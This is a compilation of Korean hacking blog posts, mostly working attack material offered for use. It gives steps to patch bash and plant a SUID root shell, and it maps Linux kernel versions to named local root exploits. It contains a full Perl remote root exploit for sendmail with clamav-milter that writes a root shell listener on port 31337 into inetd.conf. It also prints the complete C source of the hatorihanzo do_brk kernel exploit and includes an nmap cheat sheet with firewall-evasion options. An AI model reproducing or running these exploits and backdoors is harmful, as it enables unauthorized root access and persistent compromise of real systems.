요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.

이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
법에 대해 간단히 적혀있습니다.

해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
이 지시기 바랍니다. :)


** 준비물 **
bash 최신 버전 (bash-2.05b.tar.gz)
슈퍼 유저 권한

bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,  
ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로  
설명하지 않겠습니다.


** root shell 만들기 **
우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
는 위, 아래 라인을 잘 살펴보세요)

if (running_setuid && privileged_mode == 0)
  disable_priv_mode ();

간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.

->
if (running_setuid && privileged_mode == 0);
  /* disable_priv_mode (); */

if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...

다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을  
적는다면...

$ ./configure --enable-static-link --disable-history

뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
일됩니다.

다음에 루트 권한으로 쑤시는 명령들...

# chown root.root bash
# chmod 6755 bash
# ls -l bash
-rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
#

오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...

$ ./bash
# id
# uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
(users)

euid, guid가 root로 된 것을 확인할 수 있습니다.


유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
으면 합니다.

그럼...
  
글쓴이: 성현* [홈페이지] 글쓴날: 2002-09-12 01:40:20 읽은수: 617 <+>  
C에서 setreuid() 함수도 setuid 안먹히나요?  

[jsh83@gelug jsh83]$ bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  
[jsh83@gelug jsh83]$  

버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;  


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        int n;

        setreuid(0, 510); // 510은 jsh83의 권한
        system("/usr/bin/id");

        exit(0);
}


위와 같이 파일 만들어서 루트권한으로 컴파일 한 후  

chmod 4751 파일명 && chgrp jsh83 파일명  

하니깐 잘 되던데요.. 이번엔 안되는지요?  
  
글쓴이: godyang 글쓴날: 2002-09-12 12:59:22 읽은수: 350 <+>  
안녕하세요?  

훨씬 더 간단한 방법이 있었군요. =_=  

제가 고친 부분의 요지는... bash에서 euid도 먹게 하자는 의도었고...  
성현님의 요지는... 아예 real uid도 바꿔버리자는 의도인 것 같습니다.  

성현님의 방법이 더 간단한 듯... :)  

팁 감사합니다.  

그럼...  
  
글쓴이: nobody 글쓴날: 2002-09-12 15:46:53 읽은수: 362 <+>  
sh-2.05# bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  

sh-2.05# cp /bin/bash .  

sh-2.05# chmod +s bash  

sh-2.05# su test  

[test@test test]$ id  
uid=624(test) gid=512(test) groups=512(test)  

[test@test test]$ ./bash -p  

bash-2.05# id  
uid=624(test) gid=512(test) euid=0(root) egid=0(root) groups=512(test) 
저작자 표시 비영리
Posted by 티엘로

리눅스 커널 버젼별 취약 리스트

*커널 버젼
*취약 CODE



2.4.17
newlocal
kmod

2.4.18
brk
brk2
newlocal
kmod
km.2

2.4.19
brk
brk2
newlocal
kmod
km.2

2.4.20
ptrace
kmod
ptrace-kmod
km.2
brk
brk2

2.4.21
km.2
brk
brk2
ptrace
ptrace-kmod

2.4.22
km.2
brk2
brk
ptrace
ptrace-kmod

2.4.22-10
loginx
./loginx

2.4.23
mremap_pte

2.4.24
mremap_pte
Uselib24

2.4.25-1
uselib24

2.4.27
Uselib24

2.6.0
REDHAT 6.2
REDHAT 6.2 (zoot)
SUSE 6.3
SUSE 6.4
REDHAT 6.2 (zoot)
all top from rpm
-------------------------
FreeBSD 3.4-STABLE from port
FreeBSD 3.4-STABLE from packages
freeBSD 3.4-RELEASE from port
freeBSD 4.0-RELEASE from packages
----------------------------
all with wuftpd 2.6.0;
=
wuftpd
h00lyshit

2.6.2
mremap_pte
krad
h00lyshit

2.6.5 to 2.6.10
krad
krad2
h00lyshit

2.6.8-5
krad2
./krad x
x = 1..9
h00lyshit

2.6.9-34
r00t
h00lyshit

2.6.13-17
prctl
h00lyshit
-------------------
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl

Posted by 티엘로
공격 시나리오 : 공격 할려고 하는 Target에 아무런 쉘 권한이 없을경우, 취약 프로그램이 Xinetd 혹은 독립적인 네트워크 형태로 Target 서버의 특정 포트에 연결된상태, 즉, 데몬으로 작동한다고 가정한다
Posted by 티엘로

Sendmail 이 설치된 리눅스 환경에서  메일의 바이러스 필터링을 위해 자주 설치되는 ClamAV (Clam Anit Virus) Milter 를 공격하는 exploit 이 공개되었습니다.

Exploit Code


### black-hole.pl

### Sendmail w/ clamav-milter Remote Root Exploit

### Copyright (c) 2007 Eliteboy

####################################################

 

use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";

print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

                              PeerPort => '25',

                              Proto    => 'tcp');

print $sock "ehlo you\r\n";

print $sock "mail from: <>\r\n";

print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";

print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";

print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {

        print;

}


파이프를 이용해 임의의 명령어를 실행시킬 수 있는 것으로 보이는데, Sendmail root 권한으로 돌기 때문에 위험합니다.

시스템 상으로 Sendmail 과 ClamAV Millter 가 연동되어 운영되는 방식에 대한 세부 정보는 아래의 그림 밑의 링크를 클릭하여 참조 하시기 바랍니다

사용자 삽입 이미지
                  http://sial.org/howto/clamav/clamav-milter/


해당 취약점은 현재 CVE-2007-4560 으로 등록되어 있습니다.

 

 

Posted by 티엘로

리눅스 해킹의 시작점 포트스캔 Nmap 옵션


TARGET SPECIFICATION

  Can pass hostnames, IP addresses, networks, etc.

  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254

 

-iL <inputfilename>:

             Input from list of hosts/networks

-iR <num hosts>:

             Choose random targets

--exclude <host1[,host2][,host3],...>:

             Exclude hosts/networks

--excludefile <exclude_file>
    
  Exclude list from file

HOST DISCOVERY

-sL: List Scan - simply list targets to scan

-sP: Ping Scan - determining if host is online

-P0: Treat all hosts as online -- skip host discovery

-PS[portlist]: TCP SYN discovery to given ports

-PA[portlist]: TCP ACK discovery to given ports

-PU[portlist]:  UDP discovery to given ports

-PE: ICMP echo request discovery probes

-PP:  timestamp request discovery probes

-PM:  netmask request discovery probes

-n/-R:  Never/Always resolve DNS -default sometimes

--dns-servers <serv1[,serv2],...>:

             Specify custom DNS servers

--system-dns:

             Use OS's DNS resolver

SCAN TECHNIQUES

-sS:  TCP SYN Scan

-sT:  Connect Scan

-sA:  ACK Scan

-sW:  Windows Scan

-sM:  Maimon scan

-sN:  TCP Null, scan

-sF:  FIN Scan  

-sX:  Xmas Scan

--scanflags <flags>: Customize TCP scan flags

  -sI <zombie host[:probeport]>: Idlescan

  -sO: IP protocol scan

  -b <ftp relay host>: FTP bounce scan

PORT SPECIFICATION AND SCAN ORDER

-p <port ranges>: Only scan specified ports

-F: Fast - Scan only ports listed in nmap-services file)

-r:  Scan ports consecutively - don't randomize


SERVICE/VERSION DETECTION

-sV: Probe open ports determine service/version info

--version-intensity <level>:

        Set from 0 (light) to 9 (try all probes)

--version-light:

        Limit to most likely probes (intensity 2)

--version-all: Try every single probe (intensity 9)

--version-trace:

        Show detailed version scan activity (for debugging

OS DETECTION

-O:       Enable OS detection

--osscan-limit:

             Limit OS detection to promising targets

--osscan-guess:

             Guess OS more aggressively

 

TIMING AND PERFORMANCE

  Options which take <time> are in milliseconds, unless you append 's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).

-T[0-5]: Set timing template (higher is faster)

--min-hostgroup/max-hostgroup <size>:  

          Parallel host scan group sizes

--min-parallelism/max-parallelism <time>:              

          Probe parallelization

--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>:

          Specifies probe round trip time.

--max-retries <tries>:

          Caps number of port scan probe retransmissions.

--host-timeout <time>:

          Give up on target after this long

--scan-delay/--max-scan-delay <time>:

          Adjust delay between probes

FIREWALL/IDS EVASION AND SPOOFING

-f; --mtu <val>:
          fragment packets (optionally w/given MTU)

-D <decoy1,decoy2[,ME],...>:

          Cloak a scan with decoys

-S <IP_Address>:

          Spoof source address

-e <iface>:

          Use specified interface

-g/--source-port <portnum>:

          Use given port number

--data-length <num>:

          Append random data to sent packets

--ttl <val>: Set IP time-to-live field

--spoof-mac <mac add/prefix/vendor name>:

          Spoof your MAC address

--badsum:

          Send packets with a bogus TCP/UDP checksum


OUTPUT

-oN <file>:  Output scan in normal format

-oX <file>:  Output scan in XML format

-oS <file>:  Output scan in s|<rIpt kIddi3 format

-oG <file>:    Output scan in Grepable format

-oA <basename>: Output in the three major formats at once

-v: Increase verbosity level (use twice for more effect)

-d[level]: Set or increase debugging level  (Up to 9)

--packet-trace:

         Show all packets sent and received

--iflist:

         Print host interfaces and routes (for debugging)

--log-errors: Log errors/warnings to the normal-format output file

--append-output:

        Append to rather than clobber specified output files

--resume <filename>: Resume an aborted scan

--stylesheet <path/URL>:

        XSL stylesheet to transform XML output to HTML

--webxml:  

        Reference stylesheet from Insecure.Org

        for more portable XML

--no-stylesheet: Prevent associating of XSL stylesheet w/XML output


MISC

-6: Enable IPv6 scanning

-A: Enables OS detection and Version detection

--datadir <dirname>:

         Specify custom Nmap data file location

--send-eth/--send-ip:

         Send using raw ethernet frames or IP packets

--privileged:

         Assume that the user is fully privileged

-V: Print version number

-h: Print this help summary page.

EXAMPLES

 

Simple

nmap -v -A scanme.nmap.org

nmap -v -sP 192.168.0.0/16 10.0.0.0/8

nmap -v -iR 10000 -P0 -p 80

nmap -v –sS scanme.nmap.org > file.txt

 

Popular / Published syntax

 

NMAP -vv -A -sS -O -p- -P0 -oX target.xml www.xxx.yyy.zzz

 

nmap -vv -sS -P0 –p- -n --min_hostgroup 100 --max_retries 3
--max_rtt_timeout 1250 --min_parallelism 100 -oA <output_file> <net_block>


nmap -vv -p <open_port_list> -sT -A -P0 -n --min_hostgroup 100
--max_rtt_timeout 1250 --min_parallelism 100 -oA <output_file> -iL
liveIPList


주로 사용하는 포트 스캔 옵션


nmap -v -sT <target> - 일반 스캐닝
nmap -T -sS
<target>
- 시간차 스캐닝
nmap -v -sS
<target>  
- 스텔스 스캐닝
nmap -F -sS<target>
- 방화벽 우회 스캐닝

nmap -T Aggressive -A -v <target> -포트 서비스 버젼 정보 까지 확인



       

Posted by 티엘로

── exploit Code ──

/*
* hatorihanzo.c
* Linux kernel do_brk vma overflow exploit.
*
* The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>
*
* Further research and exploit development by
* Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.
*
* (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.
*
* COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
* OF PRESENTED CODE IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define MAGIC 0xdefaced /* I should've patented this number -cliph */
#define ENTRY_MAGIC 0
#define ENTRY_GATE 2
#define ENTRY_CS 4
#define ENTRY_DS 6
#define CS ((ENTRY_CS << 2) | 4)
#define DS ((ENTRY_DS << 2) | 4)
#define GATE ((ENTRY_GATE << 2) | 4 | 3)
#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)
#define TOP_ADDR 0xFFFFE000U
/* configuration */
unsigned task_size;
unsigned page;
uid_t uid;
unsigned address;
int dontexit = 0;
void fatal(char * msg)
{
fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));
if (dontexit) {
fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");
kill(getpid(), SIGSTOP);
for (;;) pause();
}
exit(EXIT_FAILURE);
}
void configure(void)
{
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
uid = getuid();
}
void expand(void)
{
unsigned top = (unsigned) sbrk(0);
unsigned limit = address + PAGE_SIZE;
do {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Kernel seems not to be vulnerable");
dontexit = 1;
top += PAGE_SIZE;
} while (top < limit);
}
jmp_buf jmp;
#define MAP_NOPAGE 1
#define MAP_ISPAGE 2
void sigsegv(int signo, siginfo_t * si, void * ptr)
{
struct ucontext * uc = (struct ucontext *) ptr;
int error_code = uc->uc_mcontext.gregs[REG_ERR];
(void)signo;
(void)si;
error_code = MAP_NOPAGE + (error_code & 1);
longjmp(jmp, error_code);
}
void prepare(void)
{
struct sigaction sa;
sa.sa_sigaction = sigsegv;
sa.sa_flags = SA_SIGINFO | SA_NOMASK;
sigemptyset(&sa.sa_mask);
sigaction(SIGSEGV, &sa, NULL);
}
int testaddr(unsigned addr)
{
int val;
val = setjmp(jmp);
if (val == 0) {
asm ("verr (%%eax)" : : "a" (addr));
return MAP_ISPAGE;
}
return val;
}
#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)
#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))
#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)
void map(unsigned * map)
{
unsigned addr = task_size;
unsigned bit = 1;
prepare();
while (addr < TOP_ADDR) {
if (testaddr(addr) == MAP_ISPAGE)
*map |= bit;
addr += PAGE_SIZE;
next(map, bit);
}
signal(SIGSEGV, SIG_DFL);
}
void find(unsigned * m)
{
unsigned addr = task_size;
unsigned bit = 1;
unsigned count;
unsigned tmp;
prepare();
tmp = address = count = 0U;
while (addr < TOP_ADDR) {
int val = testaddr(addr);
if (val == MAP_ISPAGE && (*m & bit) == 0) {
if (!tmp) tmp = addr;
count++;
} else {
if (tmp && count == LDT_PAGES) {
errno = EAGAIN;
if (address)
fatal("double allocation\n");
address = tmp;
}
tmp = count = 0U;
}
addr += PAGE_SIZE;
next(m, bit);
}
signal(SIGSEGV, SIG_DFL);
if (address)
return;
errno = ENOTSUP;
fatal("Unable to determine kernel address");
}
int modify_ldt(int, void *, unsigned);
void ldt(unsigned * m)
{
struct modify_ldt_ldt_s l;
map(m);
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES - 1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
l.entry_number = ENTRY_MAGIC / 2;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
find(m);
}
asmlinkage void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
addr[8] = 0;
/* looking for vma */
for (addr = (unsigned *) task_size; addr; addr++) {
if (addr[0] >= task_size && addr[1] < task_size &&
addr[2] == address && addr[3] >= task_size) {
addr[2] = task_size - PAGE_SIZE;
addr = (unsigned *) addr[3];
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}
void kcode(void);
#define __str(s) #s
#define str(s) __str(s)
void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" str(DS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}
void knockout(void)
{
unsigned * addr = (unsigned *) address;
if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)
fatal("Unable to change page protection");
errno = ESRCH;
if (addr[ENTRY_MAGIC] != MAGIC)
fatal("Invalid LDT entry");
/* setting call gate and privileged descriptors */
addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);
addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */
addr[ENTRY_CS+1] = 0x00cf9a00U;
addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */
addr[ENTRY_DS+1] = 0x00cf9200U;
prepare();
if (setjmp(jmp) != 0) {
errno = ENOEXEC;
fatal("Unable to jump to call gate");
}
asm("lcall $" str(GATE) ",$0x0"); /* this is it */
}
void shell(void)
{
char * argv[] = { _PATH_BSHELL, NULL };
execve(_PATH_BSHELL, argv, environ);
fatal("Unable to spawn shell\n");
}
void remap(void)
{
static char stack[8 MB]; /* new stack */
static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };
static unsigned * m;
static unsigned b;
m = (unsigned *) sbrk(map_size);
if (!m)
fatal("Unable to allocate memory");
environ = envp;
asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));
b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
if (munmap((void*)b, task_size - b) == -1)
fatal("Unable to unmap stack");
while (b < task_size) {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Unable to expand BSS");
b += PAGE_SIZE;
}
ldt(m);
expand();
knockout();
shell();
}
int main(void)
{
configure();
remap();
return EXIT_FAILURE;
}


gcc 옵션을 이용하여 static 으로 컴파일 후 exploit 사용
twd@user1# gcc -static 파일명

Posted by 티엘로